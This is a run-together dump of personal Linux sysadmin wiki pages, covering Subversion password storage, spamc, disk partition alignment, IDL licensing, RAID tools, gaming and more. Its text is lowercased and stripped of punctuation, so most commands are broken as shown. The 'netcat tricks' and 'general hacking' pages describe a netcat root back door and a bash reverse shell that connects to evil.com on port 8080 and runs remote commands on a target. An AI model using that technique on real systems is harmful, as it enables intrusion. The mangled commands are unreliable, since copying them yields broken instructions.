setting the value of the \'store-plaintext-passwords option to either \'yes or \'no\' in \' home pae subversion servers ----------------------------------------------------------------------- store password unencrypted yes no yes here the user entered yes and thus their ucams password is now stored on their local system unencrypted do you have unencrypted passwords do you have unencrypted passwords do you have unencrypted passwords to find out if you have ever accidentally stored unencrypted passwords simple do the following here we will look for any simple authenticaion files which contain our user id these files will also contain your password in clear text for example pae callandor cd pae callandor grep -r pae subversion subversion auth svn simple 95917e31cca108174d1545556edce524 pae pae callandor cat subversion auth svn simple 95917e31cca108174d1545556edce524 this shows one file which contains the password for user pae simple delete this file in fact - you can safely delete every thing in this directory as essentially any files in here are bad you can look at them of course pae callandor rm subversion auth svn simple storing passwords securely storing passwords securely storing passwords securely if you are using a linux box with gnome or kde you can easily configure the subversion command line client to store your passwords in either gnome-keyring or kwallet this is simply a matter of editing subversion config and uncommenting the appropriate line regarding this such as password-stores gnome-keyring kwallet note this file is very picky when it comes to whitespace the above line can not have a space at the very begining no lines in this file can or it will produce an error such as pae callandor svn ls svn home pae subversion config 16 option expected note you will need the required packages which tie the subversion command line client into gnome-keyring or kwallet the names of these are given below for a few distros red hat amazingly by default red hat 5 5 just automatically stores the users password the first time it is entered no prompt is given it is simply stored without the users knowledge this action can be disabled by editing subversion config and adding store-passwords no no white space at the beginning oddly the subversion-gnome subversion-kde package seems to have disappeared from rhel repos you can find the rpms at rpm pbone net but they are for fedora 10 and later and are based on subversion 1 6 of course red hat 5 5 is still using subversion 1 4 and thus the above can not be installed nice per this post this is resolved in fedora 13 and i imagine we will see in in rhel 5 6 and or 6 this however is a fairly significant security issue we should be able to address this easily enough though with cfengine and modify all existing subversion config files as needed suse very easy to set up from this post i found the packages in suse are readily available and are called libsvn_auth_gnome_keyring-1-0 libsvn_auth_kwallet-1-0 ubuntu not sure yet os x i believe this also stores the password without asking however per this post it appear to store it in the key chain - though i\'ve yet to confirm this other references other references other references for solutions to implement server-side when using a client there and wanting to store passwords see this post it also mentions python bindings for the keyrings too which could come in quite handy for scripts '),(348,'spamassassin and spamc',' tests performed here is a good list of tests that spamassassin performs spamc spamc spamc worried your emails to someone might be getting flagged as spam spamassassin is very widely used so it would be nice to know what your outgoing email might score when it hits a spamassassin server this is actually easy to test you can test an email message by feeding it into spamc and seeing the score and what rules it triggers just copy your entire email address including all headers into a text file send an email to yourself etc so as to get all relays and headers etc for example here we see a message being fed into spamc which contains the gtube string xjs c4jdbqadn1 nsbn3 2idnen gtube-standard-anti-ube-test-email c 34x which results in very spamy spam callandor usr share doc packages perl-mail-spamassassin # spamc -c -y sample-spam txt 1000 0 5 0 callandor usr share doc packages perl-mail-spamassassin # spamc -y sample-spam txt gtube no_received no_relays see the official documentation for spamc to learn more '),(349,'evolution mail client',' exchange integration exchange integration exchange integration ldap ldap address book you can easily add an ldap server as an address book see this guide for an example by default evolution does not auto-complete email address when typing in the to field you can enable this under edit -- preferences -- contacts and check the autocompletion box - and make sure to check the ldap server as well in the list shown '),(350,'arduino projects',' kde kst & arduino live measurements kde kst & arduino live measurements kde kst & arduino live measurements this project comes from linux journal issue 196 tie an arduino into kde kde\'s kst kst2 graphing tool to create graphs of live measurements very easy project feature the dallas one wire temperature sensor the required libraries for using the sensors created by miles burton are available here add an xbee to this and other sensors and create your own customized wireless embedded monitor and control system lots of possibilities here '),(351,'large partitons in linux',' when using partitions larger than 2tb in linux you must create a gid partition table using parted the ms-dos partition tables created with fdisk will not work on volume larger than 2tb here is an example process to discover a iscsi identifier for a large 10tb lun partition it with gparted and set it up for use with lvm2 find your identifier root server # iscsiadm -m discovery -t st -p 192 168 83 8 3260 192 168 83 8 3260 1 iqn 2001-05 com equallogic 0-8a0906-1340b8201-917003ad3e14cc1e-daac-psql-data add the above to etc iscsi nodes then mount it root server # iscsiadm -m node --targetname iqn 2001-05 com equallogic 0-8a0906-1340b8201-917003ad3e14cc1e-daac-psql-data -p 192 168 83 8 --login partition with parted note unlike fdisk the commands entered in parted take effect immediately you do not write to commit them at the end root server # parted dev sdx parted mkpart primary 0 10000gb parted print parted quit set it up for lvm a good guide for lvm options can be found here you may want to use the -s option with vgcreate which sets the size of the pes default is 4 mb and the value can be any 2 value up to 256mb root server # pvcreate dev sdx1 root server # vgcreate psql_vg dev sdx1 root server # vgscan root server # lvcreate -l 9000gb -n psql_lv psql_vg root server # lvscan partition reserving only 2 of blocks for root root server # mkfs ext4 -m 2 dev psql_vg psql_lv note using ext4 yet yum install e4fsprogs will fix that for you make sure you update etc fstab is used '),(352,'postgres tools and tips',' reference sites quickreference guide is pretty handy '),(353,'advanced format hard drives',' intro hard drive manufacturers are beginning to implement advanced format 4k sector sizes in newer drives benefits of using 4k sectors will be realized more in the future as this will allow for higher platter densities leading to larger capacity drives and lower cost per gig larger physical sectors also allow for improved ecc algorithms to be employed however there are significant performance degradations which can occur if these drives are used in systems and this not taken into consideration such can manifest in many ways increased formatting time poor i o performance and other incompatibilities at this time advanced format drives are likely to be seen in newer desktop systems however the industry is rapidly adopting this standard and through 2010 we can expect to see these drives becoming the new standard soon even drives sold as enterprise or raid categories will be moving to this new format and in the near future drives shipped with new servers and replacement drives should always to inspected to determine if the are af drives currently os installers do not automatically expect nor do they check for the presence of these drives and when default settings are used you get unaligned partitions and performance problems this will affect systems at the lab in different ways see the section impact on lab systems for more details the problem the problem the problem this is described so well by roderick smith in his ibm developer article that i will borrow from it here most modern file systems use data structures that are 4096 bytes or larger in size thus most disk i o operations are in multiples of this amount consider what happens when linux wants to read or write one of these data structures on a new disk with 4096-byte sectors if the file system data structures happen to align perfectly with the underlying physical partition size a read or write of a 4096-byte data structure results in a read or write of a single sector the hard disk disk\'s firmware doesn\'t need to do anything extraordinary; but when the file system data structures do not align perfectly with the underlying physical sectors a read or write operation must access two physical sectors for a read operation this takes little or no extra time because the read write head on the disk most likely passes over both sectors in succession and the firmware can simply discard the data it doesn\'t need writes of misaligned data structures on the other hand require the disk disk\'s firmware to first read two sectors modify portions of both sectors and then write two sectors this operation takes longer than when the 4096 bytes occupy a single sector thus performance is degraded how big of a deal is this how big of a deal is this how big of a deal is this the effects differ depending on the os and filesystem being used again the above ibm article gives an example of the performance difference between aligned and unaligned partitions the biggest write performance effects occurred with small file creation extracting the kernel tarball effects on tarball extraction ranged from 1 04 for ext4fs to 25 53 for reiserfs with a mean of 10 9 the second-best performer in this test was xfs with a figure of 1 82 because these figures are ratios of unaligned to aligned performance a value of 10 9 means that a tarball extraction that takes 10 seconds on a properly aligned partition takes 109 seconds on an improperly aligned partitionu8e28094a huge difference further performance comparisons between aligned and unaligned partitions can be found at this site as well they are considerable partition alignment partition alignment partition alignment as described above when the os data structures being read written to the physical media are not in alignment especially with writes problems occur this is easily remedied by ensuring that partition boundaries start on sectors which are divisible by 8 by default this is not the case for example linux typically starts the first partition after the mbr at sector 63 as fdisk -l -u will show for example root daac-ws04 # fdisk -l -u disk dev sda 250 0 gb 250000000000 bytes 255 heads 63 sectors track 30394 cylinders total 488281250 sectors units sectors of 1 512 512 bytes device boot start end blocks id system dev sda1 63 208844 104391 83 linux dev sda2 208845 488279609 244035382 8e linux lvm here both the boot and lvm partitions are unaligned the start sectors are not divisible by 8 it is easy to partition a drive so that it is aligned and the following links all provide examples however simply accepting the defaults given by the installer may well result in unaligned partitions as above how to create aligned partitions impact on lab systems impact on lab systems impact on lab systems desktop linux systems our kickstart based installs currently create unaligned partitions this will be easy enough to correct through the addition of pre scripts to correctly created the aligned partitions as show here of course you can manually create the partitions as well if don\'t forced the os will have unaligned partitions linux servers essentially the same information as given for desktop systems applies regardless of if installed via kickstart or from media care should be taken to ensure partitions are aligned virtualization this depends on the hypervisor and storage array being used for example if using kvm zen then the os partitions will need to be aligned from checking a few systems it appears vmware esxi 4 1 appears to align all os and vmfs partitions correctly at install time older versions of vmware such as esx 3 5 do not the guest os should then have it it\'s filesystem aligned as well see this article for more information here zfs lucid release notes lucid release notes lucid release notes by default ubuntu 10 04 lts aligns partitions on disk to 1 mib 1048576 bytes boundaries this ensures maximum performance on many modern disks particularly solid state drives but also new advanced format disks with physical sectors larger than the traditional 512 bytes very few systems nowadays need the old alignment used in the days of ms-dos when it was useful for partitions to start at the beginning of a cylinder in some rare cases optimal alignment may cause problems some bios implementations those on asus p5p800-mx and asus p5gz-mx motherboards have been reported to hang after installation it may be difficult to install microsoft windows xp and older after installing ubuntu although more recent versions of windows should be compatible with optimal alignment and indeed may produce it themselves if you find that you need to use the old cylinder alignment instead then add the partman alignment cylinder boot parameter when starting the installer 551965 resources resources resources drive label with windows xp notes ssd erase and raid strip boundary formatting wd linux notes re parted -a alignment type wd alignment utility high load_cycle_count issue and dos utility to change it the whole stack it should be noted that this works as long as the filesystem begins at partition start md v0 90 metadata is at the end of partition so you\'re safe there but 1 1 is at the start of the partition so you need to make sure the real filesystem begins at a 4k aligned sector the same goes for lvm and similar and i guess filesystem should have atleast 4k or multiple of block size kickstart partitioning virtualization '),(354,'high performance computing - hpc',' history of hpc history of hpc history of hpc some interesting photos of pioneering hpc systems can be found here cuda opencl cuda opencl cuda opencl see the page on cuda '),(355,'64-bit linux tips',' 32 bit compatibility libs different distors require you to install 32-bit compatibility libraries in slightly different ways ubuntu apt-get install ia32-libs you can also create a 32-bit chroot environment as described here opensuse zypper install compat-32-bit zypper can examine the libraries not just packages an rpm depends on simply running zypper install rpm name i686 will cause zypper to find the required 32-bit libraries needed nifty xen desktop xen desktop xen desktop cuda crossover games crossover games crossover games codeweavers test crossover on both 32 and 64-bit platforms as described here '),(356,'network booting - gpxe',' gpxe is an extremely useful tool which provides a plethora of network boot options such as booting using a wireless connection booting to an iscsi lun and many more options a good general intro can be found here command line command line command line a guide to gpxe command line tools is available here and http booting info here and an example of booting an initrd and kernel purely over http can be found here setting the dhcp options 209 and 210 is described here more information can be found in the rfc virtual box virtual box virtual box doe not seem to boot gpxe iso even those built with rom-o-matic and specifying the pci vendor and device ids for the virtualbox nics it hangs with loading gpxe krn ready thanks oracle might be related to this bug boot kernel og boot kernel og boot kernel og this site currently uses a gpxe 0 9 7 version which boots okay on virtualbox oracle '),(357,'ruby on rails',' it seems an increasing number of projects are using rails and so i\'ve been learning a bit more about it i\'ll be keeping track of notes on it as i go here note one very fast way to get started with rails to to install the bitnami ruby stack tutorials tutorials tutorials '),(358,'linux uninterruptible power supply',' general howtos see the notes regarding use seadoo marine replacement batteries for some apc upses monitoring deamons monitoring deamons monitoring deamons gnome kde integration gnome kde integration gnome kde integration apcupsd config apcupsd config apcupsd config note this all optionaly powerdevil in kde detected my apc ups with no other steps needed however to view detailed information about the ups and have graphs etc you may want to install this you may want to see the quick start guide here on suse 11 3 the ups was detected and added by udev as dev usb hiddev0 install the apcupsd packages in repos zypper install apcupsd apcupsd-gui to configure apcupsd edit vim etc apcupsd apcupsd conf change the following #upscable smart upscable usb #upstype apcsmart upstype usb #device dev ttys0 device dev usb hiddev 0-9 logging goes to tail var log apcupsd events start the service with the init script etc init d apcupsd restart you can test communication with the apc on the command line using apctest start the gui with gapcmon & kde powerdevil and plasmoid kde powerdevil and plasmoid kde powerdevil and plasmoid there seems to be a bug where powerdevil detects the ups fine but the power monitoring plasmoid does not see this thread for more details '),(359,'rack management tools',' here are notes regarding a few tools which can be used to manage data center racks and equipment create rack diagrams hold system notes etc demo available on home page good interface looks pretty easy system notes can be put into the device data ldap integration we _might_ be able to integrate it with other systems big brother nagios ocs inventory etc it is unclear how it handles virtual servers - we would just have to see this one looks pretty promising demo is at very fancy ajax interface drag and drop devices device thumb nails pictures etc has a fancy campus map with hot click areas for different buildings etc looks like ldap is supported main problem i see is it is a newer project not as established cool but racktables has a much larger community etc i\'ve sort of ruled out super simple and to the point gives rack simple rack views like racktables i\'m not sure how if it handles virtual machines might be a bit too basic although glpi is great and ties in with an excellent inventory control tool called ocs-ng it does not seem to provide the rack view and management we are looking for '),(360,'interactive data language - idl',' intro idl is a vector programming language created in the 1970s there is a good description of the language in the wikipedia article a commercial application called idl is offered by ittvis and a description of this can be found at the official site the company offering idl previously was rsi version 7 switched to using the eclipse framework for the development environment version 8 incorporated significant changes to the language introducing new functions etc idl runs in both a console mode idl and with a full ide idlde or idlde80 there are some great idl resources here which also references these programming examples here a good idl primer can also be found here licenses and downloads licenses and downloads licenses and downloads our environment includes versions 5 6 which are used by some web apps earlier versions and a newly installed instances of version 8 currently plot1 has both versions and is replacing plot which only has 5 6 and earlier versions there may be other servers running previous version of idl connecting to plot as the license manager however there is no clear record of which servers these may be we have i believe 6 licenses which are served out via flexlm an old license manger is running on plot but a new lm server has been installed on plot1 licenses can be updated to the new version by logging in at pete eby and forrest hoffman have credentials i\'ve bundled together everything for idl 8 and the license server including documentation into a single tarball located in root of plot1 open source alternatives open source alternatives open source alternatives the gnu data language gdl offers an open source alternative to idl it states it is completely compatible with idl code up to 7 1 and is implementing the new element of version 8 source code is avaialable from here binary packages are available for many common linux distros note dgl may also be referred to as tdl the data language in some instances such as at fresshmeat installation installation installation installation of the idl itself is pretty straight forward you can use the dvd or download the installer from the official site installation documentation is available on line and with the idl 8 tar ball containing everything in root on plot the install is essentially just untaring and running install sh x forwarding required the tricky part is the license you have to get it talking to the license server i did this by first upgrading the license by logging into our account at ittvis com then when installing the product choose activate a license using the internet which will open up an x forwarded browser log in click on the license number you want to assign click to agree to terms then click the activate license button this should then automatically push the license into the first window and the license wizard should now contain the info continue with the wizard and it will save the license perhaps to make sure you choose to install license manger and start license manager if you are setting up the lm on a server you should not need to do this as it is already set up on plot1 you can also run the license tool later with usr local itt idl idl80 bin ittlicense license manger license manger license manger note see the pdf advanced topic in licensing for full info available from the download site and it is with the root idl_8 tar gz bundle on plot1 uses flexlm for managing licenses by default logs to the console can be changed in the init script if installed see below listens on port 1700 or as defined in the license manager setup license server and port number is defined on first line of license file for example server my_server 80a7b73a 1700 for more information on configuring ports see this ittvis tech tip configuring server-based flexnet flexlm licensing through a firewall idl might use a license source different from lm_license_file if idl_lmgrd_license_file is defined in a flexlmrc file or as an environment variable for example in home user flexlmrc the lmgrd deamon runs the license server root plot1 # usr local itt idl idl80 bin lmgrd -help 11 03 19 lmgrd usage lmgrd -2 -p -z -c license_file_list 11 03 19 lmgrd -v -l debug_log_path -local 11 03 19 lmgrd -x lmdown lmremove -help vendor daemons are run by the above master root plot1 # usr local itt idl idl80 bin idl_lmgrd -help 11 05 11 idl_lmgrd flexnet licensing version v11 6 0 0 build 60117 amd64_re3 11 05 11 idl_lmgrd vendor daemons must be run by the license server manager lmgrd when running it should look something like root plot1 # ps aux grep lm root 23894 0 0 0 0 13748 1296 pts 1 s 08 33 0 00 usr local itt idl idl80 bin bin linux x86_64 lmgrd root 23895 0 0 0 0 32076 1956 ssl 08 33 0 00 idl_lmgrd -t plot1 11 6 3 --lmgrd_start 4ce3d995 license manager init scripts ensure the lm server has been installed normally this is already done when you run the license wizard if not you an run the install_flexlm script see the document flexlm license server installation instructions start the server with usr local itt idl idl80 bin lmgrd -c usr local itt license license dat -l var log lmgrd log to install init scripts run lmgrd_install note this configures sys5_idl_lmgrd as an init script for example as etc init d sys5_idl_lmgrd you can edit certain setting there such as logging etc license troubleshooting license troubleshooting license troubleshooting there are a number of lm tools to use to configure and troubleshoot license manager issues root plot1 # usr local itt idl idl80 bin lm lmcksum lmdiag lmdown lmgrd lmgrd_install lmhostid lmremove lmstat lmutil errors and general issue errors and general issue errors and general issue cannot connect to license server system if you see the following when starting the license manger vendor daemon can\'t talk to lmgrd cannot connect to license server system -15 xxx operation now in progress solution this error is usually a dns or hosts file issue check your etc hosts file and verify that your ip address is correctly mapped to your hostname verify that the host name in the etc hosts file is the exact hostname in the license dat file from here and here you may also want to check the path to the license is correct as described here and of course ensure the firewall allows connections to port 1700 demos missing in idl 8 no they are there but there is no idldemo script any more just open it in the ide usr local itt idl idl80 lib hook demo save libstdc 5 0 required from the 8 0 release notes 55427 idl dataminer requires libstdc 5 0 third-party libraries used by the idl dataminer module require a library that may not be present by default on some newer linux systems if attempting to run the idl dataminer results in idl issuing an error similar to the following dlm_load error loading sharable executable u8c2a0u8c2a0symbol idl_load file rsi qa unix idl71 bin bin linux x86_64 idl_dataminer so u8c2a0u8c2a0libstdc so 5 cannot open shared object file no such file or directory execution halted at main you will need to install the appropriate libstdc compatibility library for your platform missing libxp on 64-bit rhel 57381 missing 64-bit library in the case of red hat it seems that the necessary 64-bit package is the following libxp-1 0 0 8 1 el5 x86_64 x org x11 libxp runtime library customers though can still install that package and idl will work fine in the previous cr 47690 a note mentions that the rpm file named is libxp-1 0 0-8 x86_6 4 rpm x86_64 sites and documentation sites and documentation sites and documentation install guides release notes and product downloads are all available from i\'ve bundled together everything for idl 8 and the license server including documentation into a single tarball located in root of plot1 documentation file usr local itt idl idl80 help license_help lw_existing_server html file usr local itt idl idl80 help online_help idl idl html sites '),(361,'parallel compression tools',' intro both gzip and bzip can obtain significant performance increases from a parallel implementation my initial testing with pigz vs gzip shows a 3 to 4 fold increase in compression and up to a 15 increase in decompression tests were simply run against compressing decompressing a linux kernel source tree with file system and drive caches flushed between runs compiling and using these tools is trivial pigz pigz pigz a parallel implementation of gzip for modern multi-processor multi-core machines while decompression itself is still handles by one thrad the manual explains decompression canu8e28099t be parallelized at least not without specially prepared deflate streams for that purpose as a result pigz uses a single thread the main thread for decompression but will create three other threads for reading writing and check calculation which can speed up decompression under some circumstances parallel decompression can be turned off by specifying one process -dp 1 or -tp 1 pigz sample test pigz sample test pigz sample test compression callandor sda3 test # time gzip kernel tar real 0m17 091s user 0m16 311s sys 0m0 217s callandor sda3 test # cd callandor # mount -o remount sda3 callandor # cd - callandor sda3 test # hdparm -f -t -t dev sda dev sda timing cached reads 17824 mb in 2 00 seconds 8920 04 mb sec timing buffered disk reads 272 mb in 3 00 seconds 90 59 mb sec callandor sda3 test # time pigz kernel tar real 0m3 699s user 0m26 936s sys 0m0 314s decompression callandor sda3 test # time gunzip kernel tar gz real 0m2 679s user 0m2 437s sys 0m0 237s callandor sda3 test # cd callandor # mount -o remount sda3 callandor # cd sda3 test callandor sda3 test # hdparm -f -t -t dev sda dev sda timing cached reads 18576 mb in 2 00 seconds 9296 86 mb sec timing buffered disk reads 240 mb in 3 01 seconds 79 83 mb sec callandor sda3 test # rm kernel tar callandor sda3 test # cp kernel tar gz-bak kernel tar gz callandor sda3 test # time unpigz kernel tar gz real 0m2 304s user 0m2 000s sys 0m0 361s parallel bzip2 parallel bzip2 parallel bzip2 parallel netcdf parallel netcdf parallel netcdf very interesting tool for netcdf data sets can be found here general faq on netcdf is here parallel hdf5 parallel hdf5 parallel hdf5 hierarchical data format information on szip used in hdf an be found here interesting presentation on hdf i o performance hdf4 files can be converted to hdf5 gpu compression gpu compression gpu compression not really see here '),(362,'tools for manipulating pdfs',' there are some great tools is linux for manipulating pdfs here are a few to experiment with pdftk pdftk pdftk the pdf toolkit pdftk and it it\'s gui are available in the repositories of most distros you can easily split and merge pdfs very quickly see the linux journal article for command line examples such as on the other hand i found pdftk pdftk\'s ability to remove specific pages from a pdf file to be useful for example to remove pages 10 to 25 from a pdf file you\'d type the following command pdftk mydocument pdf cat 1-9 26-end output removedpages pdf you can also attach files to a pdf including tar gz files etc pdfsam pdfsam pdfsam similar to pdftk this tool is available here cups pdf printer cups pdf printer cups pdf printer you can also install a pdf printer - very handy for printing out those forms which don\'t allow you to save them etc see cups-pdf print driver for the steps to configure '),(363,'mythtv project',' eventually i\'m going to build a mythtv box possible recorders i wonder what i\'ll use to record the video possible cases '),(364,'neverwinter nights on linux',' i love the classic neverwinter nights games series by bioware my wife and love to play it even better - it runs perfectly with native linux binaries provided from bioware there are a few tricks to get it to work however basic install basic install basic install download the linux client binaries and game update patch from bioware full instruction are there and the bioware forums has additional information if you are using a special edition version of the game also it appears you can buy this online from good old games including cd keys for 10 see here sdl lib sdl lib sdl lib use the sdl libraries with your distro not the ones with the game edit the nwn script to remove the game version from the path export ld_library_path miles ld_library_path 64-bit issues 64-bit issues 64-bit issues ensure you have a 32-bit version of sdl installed libsdl-1_2-0-32bit for the videos you will also need the 32-bit libx11 libs xorg-x11-libx11-32bit-7 5-1 23 x86_64 if you are getting this error in nwmovies log unable to dlopen libx11 so libx11 so then you may need to symlink ln -s usr lib libx11 so 6 usr lib libx11 so videos videos videos follow david holland holland\'s great guide and readme located here get the binkplayer from here binkplayer also needs the sdl mixer again in 32-bit libsdl_mixer-1_2-0-32bit libsdl_mixer-1_2-0 the current link for the movie scripts is more info on getting movies to work can be found on the bioware forum desktop icons desktop icons desktop icons a package of desktop icons nicely done in various sizes is available here which you can use to make a desktop link other sites other sites other sites the original linux game installer sound issues videos and libraries needed '),(365,'netcat tricks',' there are so many cool things to do with netcat here are some guides and i\'ll add tips and tricks for using it as i go guides guides guides exec function exec function exec function not all versions of netcat are compiled with the exec function; with good reason you can have netcat listen on a port and when a connection is made shovel a bash shell - instant root back door of course there are less malicious uses too should your version of netcat not support exec compiling it from source is trivial reverse bash shell reverse bash shell reverse bash shell here is a way to do a reverse shell without even needing netcat on the target very interesting it uses a network node descriptor and echos read to it '),(366,'machine check error log - mcelog',' overview home page is and contains good general information as well as configuration use of triggers etc from the freshmeat description mcelog is a daemon to handle machine check events hardware errors on x86-64 machines running an x86 linux kernel it accounts and logs cpu and memory errors supports triggers on error thresholds and can predictively offline memory pages and cpus based on error trends this daemon should run on all x86 linux systems that want to handle hardware errors and from man mcelog x86 cpus report errors detected by the cpu as machine check events mces these can be data corruption detected in the cpu caches in main memory by an integrated memory controller data transfer errors on the front side bus or cpu interconnect or other internal errors possible causes can be cosmic radiation instable power supplies cooling problems broken hardware or bad luck most errors can be corrected by the cpu by internal error correction mechanisms uncorrected errors cause machine check exceptions which may panic the machine when a corrected error happens the x86 kernel writes a record describing the mce into a internal ring buffer avail- able through the dev mcelog device mcelog retrieves errors from dev mcelog decodes them into a human readable format and prints them on the standard output or optionally into the system log examples examples examples note use mcelog --client to see the current state of the damon this gets logged to var log messages log save across reboot modern linux kernels since 2 6 31 automatically do a warm reset after a machine check panic unless something goes wrong like some platform mechanism forcing a power switch on reboot the machine check will then be logged after the reboot in some cases server bios do clear and log machine checks during boot in this case you may need to look for the machine check data in the bios log callandor data paracelsusold # mcelog dev mcelog mcelog unsupported new family 6 model 1e cpu only decoding architectural errors hardware error this is not a software problem please contact your hardware vendor mce 0 cpu 2 thermal event tsc 8a8e4d168280e time 1292172488 sun dec 12 11 48 08 2010 processor 2 heated above trip temperature throttling enabled please check your system cooling performance will be impacted status 880003c3 mcgstatus 0 mcgcap 1c09 apicid 4 socketid 0 cpuid vendor intel family 6 model 30 mcelog unsupported new family 6 model 1e cpu only decoding architectural errors hardware error this is not a software problem please contact your hardware vendor helpful sites helpful sites helpful sites nagios integration and log rotate with cron red hat tips sys node locations '),(367,'grsecurity kernel hardening',' getting started download the latest test and stable versions of the kernel patch from here some very general guides official documentation is at the quickstart guide is at grsecurity net quickstart pdf superfast guide superfast guide superfast guide wget wget wget patch -p0 grsecblah-blah make prepare if needed copy over config it you like make menuconfig time make -j8 rpm make install if you like mkinitrd -k boot blah mkinitrd -k full-kernel-name -i whatever-initrd-name img nx xd cpu flags nx xd cpu flags nx xd cpu flags so why doesn\'t it work 32-bit pae kernels 32-bit pae kernels 32-bit pae kernels why this is good kernel config options kernel config options kernel config options testing grsec wget use the above version if building in a 64-bit environment make linux should do fine tons o\' sites tons o\' sites tons o\' sites includes fun stuff with scanelf and elfdump linux pax vs execshield an execshield perspective article here tutorials '),(368,'desktop performance kernel patch',' phoronix reported on a 200 line kernel patch which greatly improved desktop performance a red hat developer then offered that the same thing could be achieved by turning on cgroups in a users bash profile details of which are here some interesting discussions on this tips tips tips after local as an alternative to boot local factory has kernel in head repo with this patch enabled a script to enable this on suse 11 3 is available in this post '),(369,'opensuse configurations',' after installing opensuse these things are nice and are one click installs '),(370,'guitar playing stuff',' lesson sites intro first cords basic music theory on the guitar intro scales etc scales & chords scales & chords scales & chords 5 basic scales with good explanation are here natural note scale various fingering for chords tab sites tab sites tab sites songsterr is pretty good flash based tab player free basic access guitarworld and xguitar also have some decent tabs books books books jack configuring jack for real time kernels midi midi midi m-audio mobilepre usb audio interface this is a usb powered good quality midi interface with multiple inputs and outputs most m-audio gear and the above mobilepre are reported to work extremely well with linux more basic linux compatible interfaces include m-audio uno edirol um-1sx yamaha ux16 midi links linux music software linux music software linux music software 64studio a whole distro to feed your real time music needs there are also ubuntu and suse based music distros available such as rakarrack rakarrack is a guitar effects processing suite providing a full range of effects processing linux guitar pedal board on a stick a binary version for suse 11 3 is here ardour look for a binary on rpm pbone net rosegarden hydrogen you will need fluidsynth a soundfont like fluid-soundfont or fluid-soundfont-gm along with jack and qjackctl zynaddsubfx linux multimedia studio tiny ear trainer available at 29a ch tinyeartrainer other a good forum post for linux tools can be found here good overall audio site hardware interfaces hardware interfaces hardware interfaces 1 4 to usb input for about 40 well supported under linux per rakarrack site lightsnake stusbg10 lightsnake usb instrument cable '),(371,'megaraid cli',' getting started lsi offers the megaraid cli tool which is a bit cryptic to use here are some pointers to get started with it download it from the lsi website - look for a recent version of megaraid cli for example here quick reference guide is available here alternative einarc may be a good alternative to the megaraid cli it provides a unified intereface to various raid devices with a better interface examples here is a blog post with some helpful hints list all drives then get info on a specific one root host # opt megaraid megacli megacli64 -pdlist -aall pdlist txt root host # opt megaraid megacli megacli64 -pdinfo -physdrv 0 4 other interesting stuff root host # opt megaraid megacli megacli64 -adpallinfo -aall root host # opt megaraid megacli megacli64 -adpeventlog -getevents -f events log -aall && cat events log root host # opt megaraid megacli megacli64 -cfgddsply -a2 cfgdsply txt replacing a drive from the above referenced quick reference by moritz mertinkat the steps to replace a drive would be 8 walkthrough change replace a drive 1 set the drive offline if it is not already offline due to an error megacli -pdoffline -physdrv e s -an 2 mark the drive as missing megacli -pdmarkmissing -physdrv e s -an 3 prepare drive for removal megacli -pdprprmv -physdrv e s -an 4 change replace the drive 5 if youu8e28099re using hot spares then the replaced drive should become your new hot spare drive megacli -pdhsp -set -physdrv e s -an 6 in case youu8e28099re not working with hot spares you must re-add the new drive to your raid virtual drive and start the rebuilding megacli -pdreplacemissing -physdrv e s -arrayn -rown -an megacli -pdrbld -start -physdrv e s -an another good resource is here showing for example how to determine the arguments to use to run a rebuild on an array when a new drive is not automatically recognized megacli and smartctl megacli and smartctl megacli and smartctl to get the device id within the array say if you know per dell openmange that the drive is in slot 4 query with root daacdb1 smartmontools-5 40 # opt megaraid megacli megacli64 -pdinfo -physdrv 0 4 -aall enclosure device id 0 slot number 4 device id 11 sequence number 4 media error count 0 other error count 6 predictive failure count 1 from the above we learn this failed drive is device id 11 so we can now query it using smartctl to see the full smart info root daacdb1 smartmontools-5 40 # usr local sbin smartctl -a -d megaraid 11 dev sdc note this requires a recent version of smartmontools '),(372,'interesting blogs',' sure - rss is great but i think i\'ll list these here too '),(373,'contact management solutions',' contact management sugarcrm use ldap for your personal address book hey why not note taking stuff '),(374,'phpchain password manager',' i love phpchain - it a nifty little web based method to manager your passwords stores them in an encrypted database easy to use interface etc latest version is here test drive it at '),(375,'general hacking',' a wonderful implementation of netcat with a simple bash script on the target that created a network node in proc to read and write from it is so cool i am reproducing it here with full props to gnucitizen com although netcat is quite useful and you may have to use it in most cases here is a simple technique which emulates what exactly netcat does but it relies on bash only letu8e28099s see how in step one we start a listening service on our box we can use netcat or whatever you might have in hand nc -l -p 8080 -vvv on the target we have to perform some bash-fu we will create a new descriptor which is assigned to a network node then we will read and write to that descriptor exec 5 dev tcp evil com 8080 cat &5 while read line; do line 2 &5 &5; done there you go now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back keep in mind that we donu8e28099t use any 3rd-party tools on the target but its default shell this technique comes extremely handy in many situations and it leaves very small footprint on the targeted system '),(376,'rack management software',' how do we manage all this stuff well known application has various plugins available fancy interface and a neat campus mapping utility looks very promising but has not been around as long as racktables '),(377,'binary search tree',' binary search trees are fun also see red black tree newer versions of the linux kernel rhel6 use a scheduler that employs a red black tree methodology '),(378,'dnssec dns security extenstions',' sandia national labs provides a very interesting dnssec visualization tool some good general info on implementing dnssec is here of course general info can also be found at the wikipedia article a simple example of using dig to query for dnssec records is here firefox plug in is available here '),(379,'pidgin im client',' plugins plugins plugins themes themes themes start pidgin and specify the gtk theme to use with gtk2_rc_files usr share themes insertthemefolderhere gtk-2 0 gtkrc pidgin ms communicator ms communicator ms communicator using pidgin with office communicator can be done using the sipe plugin this is typically in most distros standard repos these days '),(380,'avant window navigator',' i keep meaning to play around with this at some point each time i try the packages though they inevitably seem broken might have to actually figure it out some day '),(381,'ssh tunnels and port forwarding',' just some decent sites on ssh port forwarding local and remote example ssh -p ssh_port paracelsus blargh timelordz com -l 1234 blargh timelordz com 80 '),(382,'rock band and guitar hero',' instruments guitars logitech ps3 ps2 wireless guitar controller asin b001ntbwk4 product number 939-000128 logitech number ces10040 seems to work in rock bank with firmware 2 80 works in rock band 2 per this cnet review drums ion drum rocker or ied08 iedc3 etc madcatz - 284 compatibility matix '),(383,'mirror ftp tool',' getting mirror although it is a bit old i\'ve found this tool to be pretty handy to use to mirror the contents of an ftp site someplace it allows for an automated mirror to do done via cron supports many options and is easy to deploy the one problem you might have is actually finding it these days it used to be available and sunsite but is no longer there it may be in your package manager the last release version was i believe 2 9 there was also a patch to the main perl script after that to implement passive mode detection on some newer ftp servers see below you should be able to get a debian package from otherwise just grab it from filewatcher or google mirror-2 9 tar gz documentation documentation documentation included with package and a summary is also here some helpful additional sites configuration configuration configuration specified site configurations and options are created as packages mysite_mirror note that there are many options available which can be found both in the documentation and by looking at mirror and mirror defaults defaults are actually defined in both places and will be overridden with options specified in your packages mysite file the sample template is very basic and you will likely need to add options to it such as remote_user username etc 